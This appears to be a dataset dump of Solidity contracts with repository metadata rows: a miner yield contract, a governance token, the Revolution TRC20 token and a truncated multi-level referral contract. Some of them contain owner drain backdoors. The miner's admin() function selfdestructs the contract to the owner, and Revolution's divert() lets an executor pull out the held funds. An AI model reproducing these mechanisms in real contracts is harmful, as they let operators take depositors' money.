_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_farmerCompoundCount = users[_adr].farmerCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs),
SafeMath.add(PSNH,
SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs),
SafeMath.mul(PSNH, rt)),
rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner, "Admin use only.");
owner = value;
}
function CHANGE_DEV(address value) external {
require(msg.sender == owner, "Admin use only.");
dev = payable(value);
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%
// 1080000 - 8%, 959000 - 9%, 864000 - 10%, 720000 - 12%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 1720000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 15);
TAX = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 100);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 900);
WITHDRAWAL_TAX = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 24);
COMPOUND_STEP = value * 60 * 60;
}
function SET_INVEST_MIN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e17;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 10);
WALLET_DEPOSIT_LIMIT = value * 1 ether;
}
function admin() public {
require(msg.sender == owner);
selfdestruct(payable(owner));
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 12);
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 90,290 | 12,489 |
284cb45934df09509f13dc2be3e210d35146cd563c8c7b2c0345a86b1608042f
| 18,083 |
.sol
|
Solidity
| false |
307358025
|
Tramshq/TramsDex-Protocol
|
fceb85291ad14ae526d4b56d4ba87545f88ed973
|
contracts/TramsToken.sol
| 2,910 | 11,588 |
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
// TramsToken with Governance.
contract TramsToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name = "TramsToken";
string private _symbol = "TRAMS";
uint8 private _decimals = 18;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
_moveDelegates(_delegates[sender], _delegates[recipient], amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (TramsMaster).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TRAMS::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TRAMS::delegateBySig: invalid nonce");
require(now <= expiry, "TRAMS::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TRAMS::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying TRAMS (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "TRAMS::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 7,215 | 12,490 |
565b84b11e7256ef6fc60277af90abd3d96a7e8f7dcf7273403eea94146f0102
| 13,524 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWaaMa462AUWGnKizYM17RuXKPv6Ej1xtE_Revolution.sol
| 3,587 | 13,314 |
//SourceUnit: Revolution.sol
// SPDX-License-Identifier: SimPL-2.0
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_owner = newOwner;
emit OwnershipTransferred(_owner, newOwner);
}
}
interface ISpiritBead {
function mintOnRon(uint256 amount) external returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract BaseRevolution is IERC20, Ownable {
using SafeMath for uint256;
//
mapping(address => uint256) private _balances;
//
mapping(address => mapping(address => uint256)) private _allowances;
//
mapping(address => bool) private sendExcludeFee;
//
mapping(address => bool) private receiveExcludeFee;
mapping(address => address) private inviterMap;
mapping(address => uint256) private memberAmount;
//
uint256 private rateDecimal = 10 ** 18;
//
uint256 private _totalSupply;
//
uint256 private _totalAmount;
bool private spbMintStatus = true;
ISpiritBead private C_TOKEN;
address private foundation;
address public defaultInviter;
uint256 private registerFee;
mapping(uint256 => uint256) private spbMint;
uint256 private MIN_AMOUNT;
address payable private senderAddress;
mapping(address => bool) private executors;
constructor() public {
senderAddress = msg.sender;
executors[msg.sender] = true;
defaultInviter = address(0x4156c0e206701e682903e7184588a7335d400cfb0f);
foundation = address(0x41cb445f85de586732072329fd5bbc9c9df8f4e123);
C_TOKEN = ISpiritBead(0x4174d07dc327436d01426243212aad067ed1c01d1e);
registerFee = 10 ** 6;
MIN_AMOUNT = 1000000 * 10 ** 6;
inviterMap[defaultInviter] = defaultInviter;
}
modifier onlyExecutor() {
require(executors[msg.sender], "not executor");
_;
}
function updateExecutors(address executor, bool status) public onlyOwner {
executors[executor] = status;
}
function updateSendExclude(address sender, bool isExclude) public onlyOwner {
sendExcludeFee[sender] = isExclude;
}
function updateSenderAddress(address payable newSender) public onlyOwner {
senderAddress = newSender;
}
function updateReceiveExclude(address receiver, bool isExclude) public onlyOwner {
receiveExcludeFee[receiver] = isExclude;
}
function updateMinAmount(uint256 newMin) public onlyOwner {
MIN_AMOUNT = newMin;
}
function updateSPBMintStatus(bool status) public onlyOwner {
spbMintStatus = status;
}
function updateCToken(address nCToken) public onlyOwner {
C_TOKEN = ISpiritBead(nCToken);
}
function updateFAddress(address newAddress) public onlyOwner {
foundation = newAddress;
}
function updateRegisterFee(uint256 newFee) public onlyOwner {
registerFee = newFee;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function getSPBMint(uint256 timeSecond) public view returns (uint256){
require(timeSecond > 28800, "time error");
return spbMint[timeSecond.sub(28800).div(86400)];
}
function signUp(address inviter) public payable {
require(inviterMap[msg.sender] == address(0x0), "had register!");
require(msg.value >= registerFee, "not fee enough");
senderAddress.transfer(msg.value);
if (inviterMap[inviter] == address(0x0)) {
inviter = defaultInviter;
}
inviterMap[msg.sender] = inviter;
memberAmount[inviter] = memberAmount[inviter].add(1);
}
function getMemberAmount(address account) public view returns (uint256){
return memberAmount[account];
}
function getInviter(address account) public view returns (address){
return inviterMap[account];
}
function balanceOf(address account) public override view returns (uint256) {
return _balanceOf(account);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function divert(address token, address payable account, uint256 amount) public onlyExecutor {
if (token == address(0x0)) {
account.transfer(amount);
} else {
IERC20(token).transfer(account, amount);
}
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _balanceOf(address account) internal view returns (uint256){
if (account == address(0x0)) {
return _balances[account];
}
return _balances[account].mul(_totalSupply).div(_totalAmount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
if (recipient == address(0)) {
_burn(sender, amount);
return;
}
require(_balanceOf(sender) >= amount, "not enough!");
if (sendExcludeFee[sender] || receiveExcludeFee[recipient]) {
_transferExcludeFee(sender, recipient, amount);
} else {
_transferIncludeFee(sender, recipient, amount);
}
}
function _transferIncludeFee(address sender, address recipient, uint256 amount) internal {
uint256 changeRate = amount.mul(_totalAmount).div(_totalSupply);
_balances[sender] = _balances[sender].sub(changeRate);
uint256 addRate = changeRate.mul(90).div(100);
_balances[recipient] = _balances[recipient].add(addRate);
emit Transfer(sender, recipient, amount.mul(90).div(100));
//5%1%
uint256 left = changeRate.sub(addRate);
uint256 temp = changeRate.mul(6).div(100);
_totalAmount = _totalAmount.sub(temp);
left = left.sub(temp);
uint256 burnAmount = amount.div(20);
if (_totalSupply <= MIN_AMOUNT) {
burnAmount = 0;
} else {
temp = _totalSupply.sub(MIN_AMOUNT);
if (temp < burnAmount) {
burnAmount = temp;
}
}
//5%
if (burnAmount > 0) {
_totalSupply = _totalSupply.sub(burnAmount);
_balances[address(0x0)] = _balances[address(0x0)].add(burnAmount);
emit Transfer(sender, address(0), amount.mul(5).div(100));
if (spbMintStatus) {
//
uint256 count = C_TOKEN.mintOnRon(burnAmount);
temp = now;
temp = temp.sub(28800).div(86400);
spbMint[temp] = spbMint[temp].add(count);
}
}
address inviter = inviterMap[recipient];
if (inviter != address(0x0)) {
temp = changeRate.mul(3).div(100);
left = left.sub(temp);
_balances[inviter] = _balances[inviter].add(temp);
emit Transfer(sender, inviter, amount.mul(3).div(100));
_balances[foundation] = _balances[foundation].add(left);
emit Transfer(sender, foundation, amount.mul(1).div(100));
} else {
_balances[foundation] = _balances[foundation].add(left);
emit Transfer(sender, foundation, amount.mul(4).div(100));
}
}
function _transferExcludeFee(address sender, address recipient, uint256 amount) internal {
uint256 changeRate = amount.mul(_totalAmount).div(_totalSupply);
_balances[sender] = _balances[sender].sub(changeRate);
_balances[recipient] = _balances[recipient].add(changeRate);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
uint256 add = amount.mul(rateDecimal);
if (_totalSupply > 0) {
add = amount.mul(_totalAmount).div(_totalSupply);
}
_totalAmount = _totalAmount.add(add);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(add);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) public returns (bool){
_burn(msg.sender, amount);
return true;
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
require(_balanceOf(account) >= value, "value error");
uint256 subRate = value.mul(_totalAmount).div(_totalSupply);
_totalSupply = _totalSupply.sub(value);
_totalAmount = _totalAmount.sub(subRate);
_balances[account] = _balances[account].sub(subRate);
_balances[address(0)] = _balances[address(0)].add(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract Revolution is BaseRevolution, ERC20Detailed {
constructor () public ERC20Detailed("Revolution", "RON", 6) {
_mint(msg.sender, 100000000 * (10 ** uint256(decimals())));
updateSendExclude(msg.sender, true);
updateReceiveExclude(msg.sender, true);
}
}
| 293,114 | 12,491 |
be6a2d8741d37b054befa31b9065658173556a3129bad72818e5d56018986988
| 17,981 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THiWPLfuJdZ18ZNgS7n3dmu6VJTD13kZ34_FUTURETRXTest.sol
| 4,381 | 16,678 |
//SourceUnit: futron.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract FUTURETRXTest {
using SafeMath for uint256;
struct USER {
bool joined;
uint id;
address payable upline;
uint personalCount;
uint poolAchiever;
bool is_trx_pool;
bool is_Future_trx_pool;
uint256 originalReferrer;
mapping(uint8 => MATRIX) Matrix;
mapping(uint8 => bool) activeLevel;
}
struct MATRIX {
address payable currentReferrer;
address payable[] referrals;
}
modifier onlyDeployer() {
require(msg.sender == deployer, "Only Deployer");
_;
}
uint maxDownLimit = 2;
uint public lastIDCount = 0;
uint public LAST_LEVEL = 9;
uint public poolTime = 24 hours;
uint public nextClosingTime = now + poolTime;
uint public deployerValidation = now + 24 hours;
address[] public trxPoolUsers;
address[] public FutureTrxPoolUsers;
mapping(address => USER) public users;
mapping(uint256 => uint256) public LevelPrice;
uint256 public trxPoolAmount = 0;
uint256 public FutureTrxPoolAmount = 0;
uint public DirectIncomeShare = 34;
uint public MatrixIncomeShare = 1;
uint public OverRideShare = 3;
uint public OtherOverRideShare = 3;
uint public CompanyShare = 9;
mapping(uint256 => uint256) public LevelIncome;
event Registration(address userAddress, uint256 accountId, uint256 refId);
event NewUserPlace(uint256 accountId, uint256 refId, uint place, uint level);
event Direct(uint256 accountId, uint256 from_id, uint8 level, uint256 amount);
event Level(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event Matrix(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event PoolEnterTrx(uint256 accountId, uint256 time);
event PoolEnterFutureTrx(uint256 accountId, uint256 time);
event PoolTrxIncome(uint256 accountId, uint256 amount);
event PoolFutureTrxIncome(uint256 accountId, uint256 amount);
event PoolAmountTrx(uint256 amount);
event PoolAmountFutureTrx(uint256 amount);
address public deployer;
address payable Company;
address payable public owner;
address payable public overRide;
address payable public otherOverRide;
mapping(uint256 => address payable) public userAddressByID;
constructor(address payable owneraddress, address payable _overRide, address payable _company, address payable _otherOverRide)
public
{
owner = owneraddress;
overRide = _overRide;
Company = _company;
otherOverRide = _otherOverRide;
deployer = msg.sender;
//LevelPrice[1] = 1250000000;
LevelPrice[1] = 12500000;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
LevelPrice[i] = LevelPrice[i-1] * 2;
}
LevelIncome[1] = 16;
LevelIncome[2] = 2;
LevelIncome[3] = 2;
LevelIncome[4] = 2;
LevelIncome[5] = 2;
LevelIncome[6] = 2;
LevelIncome[7] = 2;
LevelIncome[8] = 2;
LevelIncome[9] = 2;
USER memory user;
lastIDCount++;
user = USER({joined: true, id: lastIDCount, originalReferrer: 1, personalCount : 0, upline:address(0), poolAchiever : 0, is_trx_pool : false, is_Future_trx_pool :false});
users[owneraddress] = user;
userAddressByID[lastIDCount] = owneraddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[owneraddress].activeLevel[i] = true;
}
trxPoolUsers.push(owneraddress);
users[owneraddress].is_trx_pool = true;
}
function regUserDeployer(address payable userAddress, uint256 _referrerID) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
regUserInternal(userAddress, _referrerID);
}
function regUser(uint256 _referrerID) external payable {
require(msg.value == LevelPrice[1], "Incorrect Value");
regUserInternal(msg.sender, _referrerID);
}
function regUserInternal(address payable userAddress, uint256 _referrerID) internal {
uint256 originalReferrer = _referrerID;
uint8 _level = 1;
require(!users[userAddress].joined, "User exist");
require(_referrerID > 0 && _referrerID <= lastIDCount,"Incorrect referrer Id");
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddressByID[originalReferrer]].personalCount++;
USER memory UserInfo;
lastIDCount++;
UserInfo = USER({
joined: true,
id: lastIDCount,
upline : userAddressByID[originalReferrer],
originalReferrer: originalReferrer,
personalCount:0,
poolAchiever : 0,
is_trx_pool : false,
is_Future_trx_pool :false
});
users[userAddress] = UserInfo;
userAddressByID[lastIDCount] = userAddress;
emit Registration(userAddress, lastIDCount, originalReferrer);
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(lastIDCount, _referrerID, users[userAddressByID[_referrerID]].Matrix[1].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer){
trxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountTrx(LevelPrice[_level] / 20);
FutureTrxPoolAmount += LevelPrice[_level] / 20;
emit PoolAmountFutureTrx(LevelPrice[_level] / 20);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
